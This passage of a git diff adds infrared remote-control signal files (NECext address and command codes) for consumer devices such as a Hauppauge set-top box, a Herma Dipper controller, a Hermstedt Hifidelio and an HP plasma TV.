+name: VolumeUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: VolumeDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: ChannelUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: ChannelDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: ChapterNEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: ChapterPREV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1C 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1D 00 00 00 +# +name: ArrowsUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: ArrowsDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: ArrowsLEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: ArrowsRIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: ArrowsOK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: INFO-Back +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: MusicButton +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: RadioButton +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: PicturesButton +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: TVButton +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: TextButton +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: ORANGE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5B 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5C 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5D 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir new file mode 100644 index 000000000..44e0f4e94 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: Zap +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 13 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 14 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 16 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 17 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: KEY_M +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: TV/Radio +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir new file mode 100644 index 000000000..7ff987a22 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 80 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 81 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 82 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 83 00 00 00 +# +name: title-return +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 84 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 86 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 88 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 90 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 91 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 92 00 00 00 +# +name: enter-play +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 93 00 00 00 +# +name: repeatAB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 94 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 96 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C0 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C1 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C2 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C4 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C5 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C6 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C7 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C8 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C9 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CC 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CD 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CE 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D0 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D1 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D2 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D3 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Herma/Dipper/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Herma/Dipper/5,-1.ir new file mode 100644 index 000000000..dc5f231fd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Herma/Dipper/5,-1.ir @@ -0,0 +1,746 @@ +Filetype: IR signals file +Version: 1 +# +name: OPEN_52 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: OPEN_54 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: OPEN_50 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: CLOSE_56 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: CLOSE_33 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: OPEN_33 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: CLOSE_31 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: CLOSE_54 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: CLOSE_32 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: OPEN_32 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: OPEN_31 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: CLOSE_36 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: CLOSE_30 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: OPEN_30 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: CLOSE_29 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0F 00 00 00 +# +name: OPEN_56 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: CLOSE_34 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: OPEN_34 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: OPEN_29 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 13 00 00 00 +# +name: OPEN_36 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 14 00 00 00 +# +name: CLOSE_28 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: OPEN_28 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 16 00 00 00 +# +name: CLOSE_27 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 17 00 00 00 +# +name: CLOSE_35 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: OPEN_27 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: CLOSE_26 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1B 00 00 00 +# +name: OPEN_26 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: CLOSE_25 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: OPEN_25 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: OPEN_35 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: OPEN_57 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: OPEN_51 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: OPEN_53 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: OPEN_49 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: CLOSE_58 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: CLOSE_45 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: OPEN_45 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: CLOSE_43 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: OPEN_58 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: CLOSE_44 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: OPEN_44 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: OPEN_43 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: CLOSE_48 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: CLOSE_42 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: OPEN_42 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: CLOSE_41 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: OPEN_55 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: CLOSE_46 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: OPEN_46 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: OPEN_41 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: OPEN_48 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: CLOSE_40 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: OPEN_40 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: CLOSE_39 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: CLOSE_47 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: OPEN_39 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 39 00 00 00 +# +name: CLOSE_38 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: OPEN_38 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: CLOSE_37 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3D 00 00 00 +# +name: OPEN_37 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3E 00 00 00 +# +name: OPEN_47 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 +# +name: CLOSE_57 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 40 00 00 00 +# +name: CLOSE_51 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 41 00 00 00 +# +name: CLOSE_53 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 42 00 00 00 +# +name: CLOSE_49 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 43 00 00 00 +# +name: CLOSE_ALL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 44 00 00 00 +# +name: CLOSE_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 45 00 00 00 +# +name: OPEN_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 46 00 00 00 +# +name: CLOSE_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 47 00 00 00 +# +name: OPEN_ALL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 48 00 00 00 +# +name: CLOSE_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 49 00 00 00 +# +name: OPEN_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4A 00 00 00 +# +name: OPEN_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4B 00 00 00 +# +name: CLOSE_12 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4C 00 00 00 +# +name: CLOSE_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4D 00 00 00 +# +name: OPEN_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4E 00 00 00 +# +name: CLOSE_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4F 00 00 00 +# +name: CLOSE_55 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 50 00 00 00 +# +name: CLOSE_10 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 51 00 00 00 +# +name: OPEN_10 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 52 00 00 00 +# +name: OPEN_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 53 00 00 00 +# +name: OPEN_12 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 54 00 00 00 +# +name: CLOSE_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 55 00 00 00 +# +name: OPEN_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: CLOSE_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: CLOSE_11 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 58 00 00 00 +# +name: OPEN_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 59 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 5A 00 00 00 +# +name: CLOSE_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 5B 00 00 00 +# +name: OPEN_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 5C 00 00 00 +# +name: CLOSE_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 5D 00 00 00 +# +name: OPEN_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 5E 00 00 00 +# +name: OPEN_11 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 5F 00 00 00 +# +name: CLOSE_59 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 60 00 00 00 +# +name: CLOSE_50 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 61 00 00 00 +# +name: CLOSE_52 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 62 00 00 00 +# +name: OPEN_23 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 63 00 00 00 +# +name: CLOSE_60 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 64 00 00 00 +# +name: CLOSE_21 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 65 00 00 00 +# +name: OPEN_21 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 66 00 00 00 +# +name: CLOSE_19 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 67 00 00 00 +# +name: OPEN_60 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 68 00 00 00 +# +name: CLOSE_20 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 69 00 00 00 +# +name: OPEN_20 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6A 00 00 00 +# +name: OPEN_19 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6B 00 00 00 +# +name: CLOSE_24 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6C 00 00 00 +# +name: CLOSE_18 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6D 00 00 00 +# +name: OPEN_18 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6E 00 00 00 +# +name: CLOSE_17 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6F 00 00 00 +# +name: OPEN_59 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 70 00 00 00 +# +name: CLOSE_22 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 71 00 00 00 +# +name: OPEN_22 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 72 00 00 00 +# +name: OPEN_17 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 73 00 00 00 +# +name: OPEN_24 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 74 00 00 00 +# +name: CLOSE_16 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 75 00 00 00 +# +name: OPEN_16 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 76 00 00 00 +# +name: CLOSE_15 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 77 00 00 00 +# +name: CLOSE_23 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 78 00 00 00 +# +name: OPEN_15 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 79 00 00 00 +# +name: WIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7A 00 00 00 +# +name: CLOSE_14 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7B 00 00 00 +# +name: OPEN_14 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7C 00 00 00 +# +name: CLOSE_13 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7D 00 00 00 +# +name: OPEN_13 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir new file mode 100644 index 000000000..e22df0c5d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0B 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: f1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: artist +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: f2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: album +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: operate +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: KEY_LIGHTS_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: KEY_LIGHTS_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: genre +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 24 00 00 00 +# +name: f4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 26 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 29 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2E 00 00 00 +# +name: songs +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2F 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: lists +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3B 00 00 00 +# +name: f3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir b/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir new file mode 100644 index 000000000..8a14deb61 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 09 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 0D 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 11 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 1F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 54 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 55 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 58 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 59 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 5A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 5B 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 5C 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 12 11 00 00 +command: 5C 00 